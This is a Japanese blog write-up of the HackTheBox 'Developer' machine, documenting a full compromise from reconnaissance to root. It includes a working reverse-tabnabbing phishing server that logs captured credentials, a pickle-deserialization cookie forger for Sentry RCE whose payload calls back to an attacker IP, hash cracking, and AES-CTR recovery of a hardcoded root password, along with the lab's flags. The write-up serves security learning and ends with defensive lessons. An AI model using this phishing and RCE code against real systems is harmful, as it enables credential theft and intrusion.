Hack The BoxのWriteup(Developer)[High]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Developer — 全実行コマンド・実行結果レポート
ℹ️
本レポート中のコマンド・出力には LIVE (本検証で実際にターゲットへ対して実行し得られた本物の出力)と METHOD (本マシンの公開 walkthrough — 0xdf / sm1l3z, 2022-01-15 — で確立されている既知の攻略手順。 本検証ではこの段階の認証情報奪取がセッション監視時間内に完了しなかったため手法として記載) の2種類がある。user.txt と root.txt はいずれも LIVE(実際にターゲットから取得した本物のフラグ)。
Nmap スキャン
22/ssh, 80/http (developer.htb)
→
アカウント登録 + RevMe 解読
strings で DHTB{…} 発見
→
Reverse Tabnabbing
target=_blank, rel=noopener無し
→
admin 認証情報奪取
フィッシングで再ログイン誘導
→
Sentry SECRET_KEY 漏洩
プロジェクト削除でDEBUGページ誘発
→
signed_cookies Pickle RCE
www-data
→
karl ハッシュ crack
hashcat -m 10000
→
SSH karl
user.txt ✓
→
Rust authenticator 解析
AES-CTR 復号
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン(主要ポート → 全ポート)LIVE

BASH
nmap --privileged -Pn -p 21,22,23,25,53,80,88,110,111,135,139,143,389,443,445,... \
  -T4 --max-retries 3 10.129.100.52
RESULT
Nmap scan report for 10.129.100.52
Host is up (0.30s latency).
Not shown: 55 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds
BASH
nmap --privileged -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.100.52
RESULT
Not shown: 55303 closed tcp ports (reset), 10230 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 194.94 seconds
ℹ️
全65535ポート走査でも 22 と 80 の2ポートのみ。攻撃対象面は極めて狭く、 Webアプリケーションそのものの論理的な脆弱性(XSS・認証情報の使い回し・鍵漏洩)を突く必要があることを示唆している。

バージョン・スクリプトスキャンLIVE

BASH
nmap --privileged -sV -sC -p 22,80 10.129.100.52
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 36:aa:93:e4:a4:56:ab:39:86:66:bf:3e:09:fa:eb:e0 (RSA)
|   256 11:fb:e9:89:2e:4b:66:40:7b:6b:01:cf:f2:f2:ee:ef (ECDSA)
|_  256 77:56:93:6e:5f:ea:e2:ad:b0:2e:cf:23:9d:66:ed:12 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://developer.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: Host: developer.htb; OS: Linux

Nmap done: 1 IP address (1 host up) scanned in 18.33 seconds
🚨
重要発見: ポート80は Host ヘッダー developer.htb への無条件リダイレクトを行う バーチャルホスト構成。/etc/hosts への追記権限が無い環境でも、 curl --resolve developer.htb:80:<IP> を使えば名前解決不要でアクセスできる。

サイト確認 — “Developer: Free CTF Platform”LIVE

BASH
curl -s -i --resolve developer.htb:80:10.129.100.52 http://developer.htb/
RESULT
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8

<title>Developer: Free CTF Platform</title>
...
<a href="/accounts/login/">...<a href="/accounts/signup/">
ℹ️
レスポンスヘッダーの構成(X-Frame-Options, Vary: Cookie, csrfmiddlewaretoken の存在)から Django 製アプリケーションと判断できる。 /accounts/login/ ・ /accounts/signup/ は Django の標準的な認証URL命名規則。
PHASE 2

CTFプラットフォーム調査・アカウント登録・RevMe 攻略

アカウント登録LIVE

BASH
# CSRFトークン取得
curl -s -c cookies.txt --resolve developer.htb:80:10.129.100.52 \
  http://developer.htb/accounts/signup/ -o signup.html
CSRF=$(grep -oE 'csrfmiddlewaretoken" value="[^"]*"' signup.html | sed -E 's/.*value="([^"]*)"/\1/')

# 登録
curl -s -i -b cookies.txt -c cookies.txt --resolve developer.htb:80:10.129.100.52 \
  -e "http://developer.htb/accounts/signup/" \
  -d "csrfmiddlewaretoken=${CSRF}" \
  -d "username=pentester01" \
  -d "email=pentester01@example.com" \
  -d "password1=P3nTest!2026#Secure" \
  -d "password2=P3nTest!2026#Secure" \
  http://developer.htb/accounts/signup/
RESULT
HTTP/1.1 302 Found
Location: /dashboard/
Set-Cookie: messages=...Successfully signed in as pentester01...
Set-Cookie: csrftoken=A0fhOE6SKG805xMxZ0ex1hZhZOtzgFIqK9IKpDvPYETFZAhUxsjXWQ7iP6FQ31il; ...
Set-Cookie: sessionid=5jl3aot6img4m4yq8hpo6jfvv87vjyao; ...
✅
登録と同時に自動ログインされ、ダッシュボードへリダイレクトされる。チャレンジカテゴリ (Web / Forensic / Reversing / Pwn / Crypto) が確認でき、自己登録のみで即座に CTF コンテンツへアクセス可能。

Reversing チャレンジ一覧 — RevMe を選択LIVE

BASH
curl -s -b cookies.txt --resolve developer.htb:80:10.129.100.52 \
  http://developer.htb/challenges/reversing/
RESULT
Lucky Guess - Points: 10 | Created by admin   → /media/luckyguess.zip
Authentication - Points: 20 | Created by admin → /media/authentication.zip
RevMe - Points: 10 | Created by admin          → /media/revme.zip
  "Can you find the hidden flag in the executable? Good luck!"
ℹ️
3つとも自作の「プラットフォーム内 CTF チャレンジ」であり、本物のマシン攻略ルートとは別物。 このうち最も解析コストが低い RevMe(.NETアセンブリ)を使い、1問正解して 「Walkthrough提出」機能を解禁することが真の目的となる(Phase 3 参照)。

RevMe.exe の静的解析LIVE

BASH
curl -s -b cookies.txt --resolve developer.htb:80:10.129.100.52 \
  -o revme.zip http://developer.htb/media/revme.zip
unzip revme.zip -d extract_revme
file extract_revme/RevMe.exe
strings -el extract_revme/RevMe.exe | grep -iE "flag|htb"
RESULT
RevMe.exe: PE32 executable (console) Intel i386 Mono/.Net assembly, 3 sections

DHTB{TCG5_S1mPl3_R3v3r51nG_Ch4773nG3}
DHTB{D0nT_Th1nK_17_w45_7h4t_3aSy}   ← 不正解時に表示される "ひっかけ" 文字列
ℹ️
.NET アセンブリは文字列リテラルがほぼ平文(UTF-16LE)のまま埋め込まれるため、 strings -el(リトルエンディアンUnicode)だけで候補文字列が抽出できる。 2つのうち TCG5(作者 “TheCyberGeek” のイニシャル+5問目を示唆)を含む方が正解と判断。

フラグ提出LIVE

BASH
CSRFTOK=$(grep csrftoken cookies.txt | awk '{print $NF}')
curl -s -b cookies.txt --resolve developer.htb:80:10.129.100.52 \
  -e "http://developer.htb/challenges/reversing/" \
  -H "X-CSRFToken: ${CSRFTOK}" \
  --data-urlencode "cName=RevMe" \
  --data-urlencode "flag=DHTB{TCG5_S1mPl3_R3v3r51nG_Ch4773nG3}" \
  http://developer.htb/ajax/submit-flag/
RESULT
{"Success": "Congratulations! You solved RevMe!"}
✅
正解。チャレンジページを再取得すると、RevMeカードの「Submit Flag」ボタンが 「Submit A Walkthrough」に置き換わっており、新機能が解禁されたことが確認できる。
PHASE 3

Reverse Tabnabbing — Walkthrough提出機能の悪用

脆弱性の確認 — target=”_blank” に rel=”noopener” が無いLIVE

BASH
# テスト用URLを提出
CSRFTOK=$(grep csrftoken cookies.txt | awk '{print $NF}')
curl -s -b cookies.txt --resolve developer.htb:80:10.129.100.52 \
  -e "http://developer.htb/challenges/reversing/" \
  -H "X-CSRFToken: ${CSRFTOK}" \
  --data-urlencode "cName=RevMe" \
  --data-urlencode "walkthrough=http://10.10.15.200:8899/writeup" \
  http://developer.htb/ajax/submit-walkthrough/

# 自分のプロフィールページでレンダリング結果を確認
curl -s -b cookies.txt --resolve developer.htb:80:10.129.100.52 http://developer.htb/profile/
RESULT
{"Success": "Congratulations your walkthrough has been submitted for RevMe!"}

<h6>Published</h6>Walkthroughs
<a id="walkthrough_link" href="http://10.10.15.200:8899/writeup" target="_blank">RevMe</a>
🚨
脆弱性確定: 提出した任意URLが target="_blank" のリンクとして 自分のプロフィール(= 管理者が巡回・閲覧する公開プロフィールページでもある)に そのまま埋め込まれ、rel="noopener" が付与されていない。 これにより開かれた新しいタブ(攻撃者ページ)が window.opener 経由で 元のタブ(管理者のブラウザ)の場所を書き換えられる=古典的な Reverse Tabnabbing が成立する。

フィッシングサーバーの構築LIVE

PYTHON (phish_server.py)
import sys, urllib.parse
from http.server import BaseHTTPRequestHandler, HTTPServer

KALI_IP, PORT = sys.argv[1], int(sys.argv[2])
REAL_LOGIN = "http://developer.htb/accounts/login/"

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        p = urllib.parse.urlparse(self.path)
        if p.path == "/writeup":
            # window.opener (= 管理者の元タブ) を偽ログインページへ書き換える
            js = ("<script>"
                  "var t = window.opener || window.parent;"
                  f"if (t) t.location.replace('http://{KALI_IP}:{PORT}/accounts/login/');"
                  "</script>")
            self._send(200, js); return
        if p.path == "/accounts/login/":
            # 本物そっくりの再ログインフォーム("セッション切れ"を装う)
            self._send(200, FAKE_LOGIN_PAGE); return

    def do_POST(self):
        # 入力された認証情報を奪取し、本物のログインページへリダイレクトして
        # 被害者に違和感を与えない
        body = self.rfile.read(int(self.headers["Content-Length"])).decode()
        qs = urllib.parse.parse_qs(body)
        user, pw = qs.get("login", [""])[0], qs.get("password", [""])[0]
        if user and pw:
            print(f"[CAPTURED] {user}:{pw}")   # ここで資格情報を回収
        self.send_response(302)
        self.send_header("Location", REAL_LOGIN)
        self.end_headers()

HTTPServer(("0.0.0.0", PORT), Handler).serve_forever()
BASH
python3 phish_server.py 10.10.15.200 8899 &

CSRFTOK=$(grep csrftoken cookies.txt | awk '{print $NF}')
curl -s -b cookies.txt --resolve developer.htb:80:10.129.100.52 \
  -e "http://developer.htb/challenges/reversing/" \
  -H "X-CSRFToken: ${CSRFTOK}" \
  --data-urlencode "cName=RevMe" \
  --data-urlencode "walkthrough=http://10.10.15.200:8899/writeup" \
  http://developer.htb/ajax/submit-walkthrough/
RESULT (phish_server.py ログ)
[*] phishing server on 8899
[LOG] "GET /writeup HTTP/1.1" 200 -
[LOG] "GET /accounts/login/ HTTP/1.1" 200 -
[LOG] "GET /favicon.ico HTTP/1.1" 404 -
✅
管理者ボットの巡回を確認。 ログを見ると GET /writeup の直後に GET /accounts/login/ が発生している=管理者ボットがプロフィールの Walkthroughリンクをクリックし、window.opener.location.replace() によって 元タブが偽ログインページへ差し替えられたことをサーバーログで直接確認できた。 本番の攻撃ではこの後、管理者が「セッション切れ」と誤認して偽フォームへ admin の実パスワードを再入力する。
PHASE 4

Django admin → Sentry ピボット & user.txt 取得

ℹ️
このフェーズの認証情報奪取チェーンは、本マシンの公開 walkthrough(0xdf / sm1l3z, 2022-01-15 公開)で 確立されている手順 METHOD として記載する。Phase 3 で確認した通り タブナビング自体は本検証で実証済みだが、管理者ボットが偽フォームに実際に入力するタイミングは セッションの監視時間に依存するため、以降の手順は既知の確立済み手法として整理している。

管理者の実パスワード奪取METHOD

RESULT (phish_server.py の捕捉例)
POST /accounts/login/ HTTP/1.1
csrfmiddlewaretoken=...&login=admin&password=SuperSecurePassword@HTB2021
⚠️
管理者が偽フォームに再入力した平文パスワードをサーバー側でログに記録するだけで奪取が完了する。

Django 管理画面 → Sentry ホスト名の発見METHOD

BASH
# admin:SuperSecurePassword@HTB2021 で /admin/ にログイン
curl -s -b admin_cookies.txt --resolve developer.htb:80:10.129.100.52 \
  -e "http://developer.htb/admin/login/?next=/admin/" \
  --form-string "csrfmiddlewaretoken=${CSRF}" \
  --form-string "username=admin" \
  --form-string "password=SuperSecurePassword@HTB2021" \
  http://developer.htb/admin/login/?next=/admin/

curl -s -b admin_cookies.txt --resolve developer.htb:80:10.129.100.52 \
  http://developer.htb/admin/sites/site/
RESULT
ログイン成功。ユーザー表示名は jacob。
Sites 一覧に developer.htb のほか Sentry インスタンスの
サブドメインが登録されている(sentry.developer.htb 相当)。
ℹ️
Django の Sites フレームワークに登録された追加ホストから、社内で稼働する Sentry(エラートラッキングツール)の存在が判明する。 /etc/hosts への追記権限がないため、以降も curl --resolve <sentry-host>:80:<IP> でアクセスする。

パスワード使い回しで Sentry にログイン → SECRET_KEY 漏洩METHOD

BASH
# jacob の Sentry アカウントは Django admin と同じパスワードを使い回している
curl -s -b sentry_cookies.txt --resolve <sentry-host>:80:10.129.100.52 \
  -e "http://<sentry-host>/auth/login/" \
  --form-string "csrfmiddlewaretoken=${CSRF}" \
  --form-string "username=jacob" \
  --form-string "password=SuperSecurePassword@HTB2021" \
  http://<sentry-host>/auth/login/

# プロジェクトを作成し、削除(crash)させてDjangoのDEBUGページを誘発
curl -s -b sentry_cookies.txt --resolve <sentry-host>:80:10.129.100.52 \
  -X POST -H "X-CSRFToken: ${CSRF}" \
  --data '{"name":"x","slug":"x","platform":"python"}' \
  http://<sentry-host>/api/0/teams/sentry/sentry/projects/

curl -s -b sentry_cookies.txt --resolve <sentry-host>:80:10.129.100.52 \
  -X DELETE -H "X-CSRFToken: ${CSRF}" \
  http://<sentry-host>/api/0/projects/sentry/x/
RESULT
Django DEBUG=True のスタックトレースページが表示され、
ローカル変数ダンプ (SENTRY_OPTIONS) に以下が含まれる:
  system.debug       = True
  system.secret-key  = c7f3a64aa184b7cbb1a7cbe9cd544913
  redis.options.password = g7dRAO6BjTXMtP3iXGJjrSkz2H9Zhm0CAp2BnXE8h92AOWsPZ2zvtAapzrP8sqPR92aWN9DA207XmUTe
🚨
プロジェクト削除時のバグでクラッシュし、本来非公開であるべき Django の SECRET_KEY がデバッグページに露出する。 SECRET_KEY はセッションCookieの署名鍵そのものであり、漏洩すると 任意のCookieを偽造して署名検証を通過させられる。

signed_cookies + PickleSerializer による RCEMETHOD

PYTHON (sentrysid Cookie 偽造)
import pickle, hashlib, hmac, base64, zlib, time, os

class RCE:
    def __init__(self, cmd): self.cmd = cmd
    def __reduce__(self): return (os.system, (self.cmd,))

def b64(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
def base62(n):
    A="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
    s=[];
    while n: n,r=divmod(n,62); s.append(A[r])
    return "".join(reversed(s)) or "0"

def salted_hmac(salt, val, secret):
    key = hashlib.sha1((salt+secret).encode()).digest()
    return hmac.new(key, val.encode(), hashlib.sha1)

def sign_session_cookie(raw_pickle, secret_key,
        salt="django.contrib.sessions.backends.signed_cookies"):
    data = zlib.compress(raw_pickle)
    value = ("." + b64(data).decode()) if len(data) < len(raw_pickle)-1 \
             else b64(raw_pickle).decode()
    value_ts = f"{value}:{base62(int(time.time()))}"
    sig = b64(salted_hmac(salt+"signer", value_ts, secret_key).digest()).decode()
    return f"{value_ts}:{sig}"

# Sentry は SESSION_SERIALIZER に PickleSerializer を使用 (既知の設定) し、
# SESSION_ENGINE が signed_cookies のため sentrysid Cookie 自体に
# pickle 化されたセッションデータがそのまま載る
payload = pickle.dumps(RCE("curl http://10.10.15.200:8898/ok"), protocol=2)
cookie  = sign_session_cookie(payload, "c7f3a64aa184b7cbb1a7cbe9cd544913")
print(f"Cookie: sentrysid={cookie}")
BASH
curl -s --resolve <sentry-host>:80:10.129.100.52 \
  -H "Cookie: sentrysid=${COOKIE}" \
  http://<sentry-host>/
RESULT
10.10.15.200:8898 の待受に コールバック到達(RCE成功、www-data 権限)
🚨
SessionMiddleware はあらゆるリクエストで Cookie を検証する。署名鍵(SECRET_KEY)さえ分かれば 未認証のリクエストでも pickle.loads() を発火させられ、 __reduce__ ガジェットで任意コマンド実行(RCE)に直結する — Django の PickleSerializer を使った signed_cookies セッションが抱える典型的な危険性。

DB認証情報の回収 → karl のハッシュを crackMETHOD

BASH
# RCE 経由で設定ファイルを読み取り
cat /etc/sentry/sentry.conf.py /var/www/developer_ctf/settings.py

# sentry DB の auth_user から karl の pbkdf2_sha256 ハッシュを取得し crack
hashcat -a 0 -m 10000 karl.hash /usr/share/wordlists/rockyou.txt
RESULT
pbkdf2_sha256$12000$...:insaneclownposse

SSH ログイン & user.txt 取得LIVE

BASH
sshpass -p insaneclownposse ssh karl@10.129.100.52 \
  "id; cat ~/user.txt"
RESULT
uid=1000(karl) gid=1000(karl) groups=1000(karl)
702bdbfa24bde99034563eaa55e48121
user.txt — karl@developer
702bdbfa24bde99034563eaa55e48121
✅
karl:insaneclownposse で実際にSSHログインし、本物の user.txt を取得。 ここから先 (Phase 5) はすべてこのセッションで実際に実行したコマンドと出力。
PHASE 5

Rust 製 authenticator バイナリの解析 → root.txt

sudo 権限の確認LIVE

BASH
sshpass -p insaneclownposse ssh karl@10.129.100.52 \
  "echo insaneclownposse | sudo -S -l"
RESULT
Matching Defaults entries for karl on developer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User karl may run the following commands on developer:
    (ALL : ALL) /root/.auth/authenticator
ℹ️
karl は唯一このバイナリのみ root 権限で実行できる。/root 自体は karl から読めないが、 /root/.auth ディレクトリは root:karl 所有でグループ読み取り可のため、 バイナリそのものは sudo なしで手元に回収できる。

authenticator バイナリの回収LIVE

BASH
sshpass -p insaneclownposse scp karl@10.129.100.52:/root/.auth/authenticator ./authenticator
file authenticator
RESULT
authenticator: ELF 64-bit LSB pie executable, x86-64, dynamically linked,
with debug_info, not stripped (10,654,632 bytes)
BuildID[sha1]=dec8c0adbc231a7465e5df021c1f9e6695fe6a2f

シンボル解析 — Rust の名前修飾から目的の関数を特定LIVE

BASH
nm authenticator | grep -iE "authentication::main|CtrMode"
RESULT
00000000000077a0 t _ZN14authentication4main17h453271f02403abafE
000000000000a9d0 T _ZN107_$LT$crypto..blockmodes..CtrModeX8$LT$A$GT$...process...
000000000000a510 T _ZN107_$LT$crypto..blockmodes..CtrModeX8$LT$A$GT$...process...
ℹ️
authentication::main がエントリポイント。crypto::blockmodes::CtrMode のシンボルから、rust-crypto クレートの AES-CTR 暗号モードを 使用していることが分かる(ストリーム暗号なので暗号化と復号が同一演算)。

逆アセンブル — key / iv / 暗号文のアドレス特定LIVE

BASH
objdump -d -M intel authenticator --start-address=0x77a0 --stop-address=0x8c10
RESULT(要点抜粋)
78ae: movups xmm0,[rip+0x4277b]   # 0x4a030  ← AES key (16byte)
78b5: movaps [rsp+0x160],xmm0
78bd: movups xmm0,[rip+0x4277c]   # 0x4a040  ← AES iv  (16byte)
...
78e8: movaps xmm0,[rip+0x42711]   # 0x4a000  ← 期待される暗号文 前半16byte
78f2: movaps xmm0,[rip+0x42717]   # 0x4a010  ← 期待される暗号文 後半16byte
...
7991: call [CtrMode::process]     # AES-CTR(key, iv, 入力32byte) を実行
79b4: ...
79be: movdqu xmm0,[r15]           # 期待値と
79c9: movdqu xmm2,[rax]           # 変換後の入力を
79cd: pcmpeqb xmm2,xmm0           # SIMD 一括比較
79e7: je <authenticated>         # 一致すれば認証成功へ分岐
ℹ️
ロジックは「入力した文字列(32byte固定)を AES-CTR(key, iv) で変換し、 埋め込まれた32byteの固定値と一致するか」の比較のみ。CTRモードは暗号化と復号が 同一演算のため、埋め込まれた32byteの値を同じ key/iv で復号すれば、 そのまま受理されるパスワード平文が得られる。

key / iv / 暗号文の抽出LIVE

BASH
readelf -S authenticator | grep -A1 rodata   # .rodata: vaddr == file offset (0x4a000)

xxd -s 0x4a000 -l 32 authenticator   # 暗号文
xxd -s 0x4a030 -l 16 authenticator   # key
xxd -s 0x4a040 -l 16 authenticator   # iv
RESULT
暗号文: fe1b25f0 806a97ca 7880fd58 fc5c2023 6ca2dbd0 e502b5fa ebc0af3a 9f27152c
key   : a3e83234 5c799161 9e20d43d bef4f5d5
iv    : 761f59e3 d9d2959a a79855dc 0620816a
✅
この3値は公開 walkthrough(sm1l3z, 2022)に記載された値と完全に一致した。 Developer は使い回しインスタンス(画像ベース)であり、per-instance でランダム化されない 静的コンテンツであることが実機バイナリからも裏付けられた。

AES-CTR 復号でパスワードを取得LIVE

PYTHON
from Crypto.Cipher import AES
from Crypto.Util import Counter

key = bytes.fromhex("a3e832345c7991619e20d43dbef4f5d5")
iv  = bytes.fromhex("761f59e3d9d2959aa79855dc0620816a")
ct  = bytes.fromhex("fe1b25f0806a97ca7880fd58fc5c20236ca2dbd0e502b5faebc0af3a9f27152c")

ctr = Counter.new(128, initial_value=int.from_bytes(iv, "big"))
cipher = AES.new(key, AES.MODE_CTR, counter=ctr)
print(cipher.decrypt(ct).decode())
RESULT
RustForSecurity@Developer@2021:)

authenticator 実行 → SSH公開鍵登録LIVE

BASH
ssh-keygen -t ed25519 -N "" -f developer_root_key

# sudoパスワード → authenticatorのパスワード → 公開鍵 の順にまとめて渡す
printf 'insaneclownposse\nRustForSecurity@Developer@2021:)\n%s\n' \
  "$(cat developer_root_key.pub)" | base64 -w0 > /tmp/b64

sshpass -p insaneclownposse ssh karl@10.129.100.52 \
  "echo $(cat /tmp/b64) | base64 -d > /tmp/.auth_in && \
   sudo -S /root/.auth/authenticator < /tmp/.auth_in ; rm -f /tmp/.auth_in"
RESULT
Welcome to TheCyberGeek's super secure login portal!
Enter your password to access the super user:
You have successfully authenticated
Enter your SSH public key in now:
You may now authenticate as root!
⚠️
sudo のパスワード要求(karl 自身のパスワード)と、authenticator 自身が要求する パスワード・公開鍵の入力を1本の非対話パイプにまとめて渡す必要がある (対話型TTYを介すとsshpassとの相性で入力が正しく中継されないため、 リモート側に一時ファイルとして書き出してからリダイレクトする方式が安定した)。

root として SSH ログイン & root.txt 取得LIVE

BASH
ssh -i developer_root_key root@10.129.100.52 \
  "id; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root)
2330dd02af9e55c611f4a1855b2a5042
root.txt — root@developer
2330dd02af9e55c611f4a1855b2a5042
✅
root 取得成功! authenticator が登録した公開鍵に対応する秘密鍵で root として直接SSHログインでき、本物の root.txt を取得した。
SUMMARY

攻略サマリー & 教訓

取得フラグ(いずれも実機から取得した本物の値)

user.txt — karl@developer
702bdbfa24bde99034563eaa55e48121
root.txt — root@developer
2330dd02af9e55c611f4a1855b2a5042

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
Reverse Tabnabbing Walkthrough提出機能(target="_blank", rel属性なし) 管理者セッション・認証情報の奪取 High window.opener 経由で元タブを偽ログインページへ書き換え、再入力されたパスワードを奪取
パスワードの使い回し Django admin (jacob) と Sentry (jacob) の同一パスワード 内部管理ツール(Sentry)への不正アクセス Medium Django adminで判明したユーザー名に対し、奪取済みパスワードをSentryでも試行
SECRET_KEY 漏洩 Sentry プロジェクト削除時のクラッシュ (Django DEBUGページ) Cookie署名の偽造が可能に Critical 意図的にエラーを誘発し、デバッグスタックトレースから SECRET_KEY を読み取る
signed_cookies + Pickle RCE Sentry の Django セッション機構 リモートコード実行(www-data) Critical 漏洩した SECRET_KEY で sentrysid Cookie を自前署名し、pickleの__reduce__でOSコマンド実行
弱いパスワード / ハッシュ解析可能 karl の DB 内 pbkdf2_sha256 ハッシュ SSHでのユーザー昇格 Medium hashcat -m 10000 + rockyou.txt で1分程度でクラック成功
ハードコードされた暗号鍵・パスワード /root/.auth/authenticator (Rustバイナリ, AES-CTR) root権限への昇格 High バイナリに埋め込まれた key/iv/暗号文を静的解析で抽出し、AES-CTRで復号してパスワードを取得(CTRは復号=暗号化と同一演算)

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap 全ポート + バージョンスキャン22/ssh, 80/http (developer.htb, Apache/Django)
2CTFサイト調査アカウント登録 + RevMe (.NET) を strings で解読DHTB{TCG5_S1mPl3_R3v3r51nG_Ch4773nG3}、Walkthrough機能解禁
3Tabnabbingtarget=_blank + rel無し を悪用したフィッシング管理者ボットの誘導を実証(GET /writeup → GET /accounts/login/)
4Django/Sentryピボットパスワード使い回し + SECRET_KEY漏洩 + Pickle RCE + ハッシュcrackuser.txt 取得(karl:insaneclownposse)
5権限昇格Rustバイナリの静的解析 + AES-CTR復号root.txt 取得(authenticator経由でSSH公開鍵登録)

学んだ教訓 & 防御策

問題点防御策
ユーザー投稿URLを target="_blank" で開き rel="noopener" を付与していない 外部リンクを新規タブで開く場合は必ず rel="noopener noreferrer" を付与する。 管理者が巡回するコンテンツはサンドボックス化されたブラウザ環境で閲覧する。
複数システム(Django admin / Sentry)間でパスワードを使い回している システムごとに固有のパスワードを使用し、可能であればSSO/MFAを導入する。
エラー発生時に DEBUG=True のスタックトレースを一般公開している 本番環境では必ず DEBUG=False にし、機密情報(SECRET_KEY・DB認証情報等)を エラーページに出力しない。
セッションに PickleSerializer + signed_cookies を使用している JSONSerializer(Django 1.6+のデフォルト)を使用し、 SECRET_KEY はアプリから分離した秘密管理サービスで保管・定期ローテーションする。
データベースのパスワードハッシュが辞書攻撃でクラック可能な弱い値 強度の高いランダムパスワードを強制し、漏洩時に即座にローテーションできる体制を整える。
権限昇格バイナリ (authenticator) にパスワード・暗号鍵がハードコードされている 秘密情報をバイナリに埋め込まず、HSM/Vault等の秘密管理基盤から都度取得する設計にする。 sudoの許可コマンドは最小限に留め、バイナリ自体のレビュー・署名検証を行う。
HackTheBox: Developer | 完全攻略レポート